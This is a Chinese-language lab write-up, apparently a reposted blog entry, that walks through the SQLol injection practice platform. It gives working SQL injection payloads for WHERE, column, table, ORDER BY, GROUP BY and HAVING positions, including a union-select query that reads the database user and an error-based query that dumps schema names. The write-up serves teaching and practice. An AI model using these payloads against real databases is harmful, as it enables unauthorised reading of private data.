• SQL注入测试平台 SQLol -2.SELECT注入测试



    完整Select语句:

    SELECT 【username】 FROM 【users】 WHERE username ='1'GROUP BY 【username】 ORDER BY 【username】 ASC [having1=1][limit0,1]
    

    接收的参数可能拼接到上述语句中【】的任一个位置。

    注入位置不同,构造sql注入语句的方法也有所不同,但大致可以划分为三种。

    1. 联合查询(union select)
    2. 报错注入
    3. 盲注(布尔类型、时间延迟类型)

    有的注入点可以同时使用多种方法注入,这里只演示一种。
    下面演示注入到不同位置的方法。

    1. WHERE 子句里的字符串

    Tips:字符型注入;

    在注射字符串中输入:admin,显示语句,选择注射位置为,WHERE子句里的字符串,返回的信息为:

    SELECT username FROM users WHERE username = '【admin】' GROUP BY username ORDER BY username ASC
    

    构造POC:

    admin' union select user()#
    

    如下:

    SELECT username FROM users WHERE username = '【admin' union select user()#】' GROUP BY username ORDER BY username ASC
    

    如下图,我们取得数据库用户名(root@localhost),可以将user()替换为其他查询语句查询其他数据。
    在这里插入图片描述

    2. WHERE 子句里的数字

    Tips:与上面的WHERE 子句里的字符串类似,所不同的,这是数字型注入;

    在注射字符串中输入:1,显示语句,选择注射位置为,WHERE子句里的数据,返回的信息为:

    SELECT username FROM users WHERE isadmin =1GROUP BY username ORDER BY username ASC
    

    构造POC:

    1 union select user()#
    

    如下:

     SELECT username FROM users WHERE isadmin =1 union select user()#】 GROUP BY username ORDER BY username ASC
    

    如下图,我们取得数据库用户名。
    在这里插入图片描述

    3. 整个语句

    Tips: 直接可以执行任何sql语句

    在注射字符串中输入:select * from users,users为数据库用户表,显示语句,选择注射位置为,整条语句,返回的信息为:

    select * from users
    

    构造POC:

    select * from users
    

    可以在这里输入任何的sql语句执行。
    在这里插入图片描述

    4. Column 名称

    Tips: 注入位置在username

    SELECT 【username】 FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
    

    利用方式:

    1、输入字段查询users表,或直接用*代替,查询users表中所有的数据

    构造POC

    SELECT*FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
    

    2、注释掉后面的语句,与select直接拼接,例如:注射字符串位置输入version(),拼接成

    构造POC

    SELECT 【version()#】 FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
    

    替换version(),输入其他数据库查询语句,可查询其他数据
    在这里插入图片描述

    5. Table 名称

    Tips:注射位置在表users

    SELECT username FROM 【users】 WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
    

    利用方式:
    输入正确的表名,union select查询

    构造POC:

    SELECT username FROM 【users union select user()#】 WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
    

    在这里插入图片描述

    6. ORDER BY 子句

    Tips:注射位置在order by

    SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY 【username】 ASC
    

    当使用union操作时,排序语句必须放在最后面才正确,就是说只能在union的最后一个子查询中使用order by,因此这里不能用union select。

    利用方式:
    报错注入

    1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
    

    构造POC:

    SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY <font color="red">1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# ASC
    

    得到数据库sqlol,可以使用其他语句继续报错注入。

    参考资料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm
    在这里插入图片描述

    7. GROUP BY 子句

    Tips:注射位置在group by

    GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。

    利用方式:
    1、与order by 一样,直接报错注入
    2、在Mssql中,可以利用group by , having 进行爆当前列
    在这里插入图片描述

    8. HAVING 子句

    Tips:having位置

    利用方式:
    报错注入

  • 相关阅读:
    排列组合STL实现——pku1731
    迷宫搜索变型——【USACO5.2.1】蜗牛的旅行
    知道地球两点算距离——fzu2016
    最长递增子序列——pku2533
    dfs+dp——[Usaco2008 Mar]Cow Travelling游荡的奶牛
    最长不降子序列变型——[Usaco2008 Feb]Eating Together麻烦的聚餐
    规律题——[Usaco2008 Oct]建造栅栏
    简单dp——[Usaco2008 Mar]River Crossing渡河问题
    poj1317
    poj1068
  • 原文地址:https://www.cnblogs.com/cnsec/p/12032390.html
Copyright © 2020-2023  润新知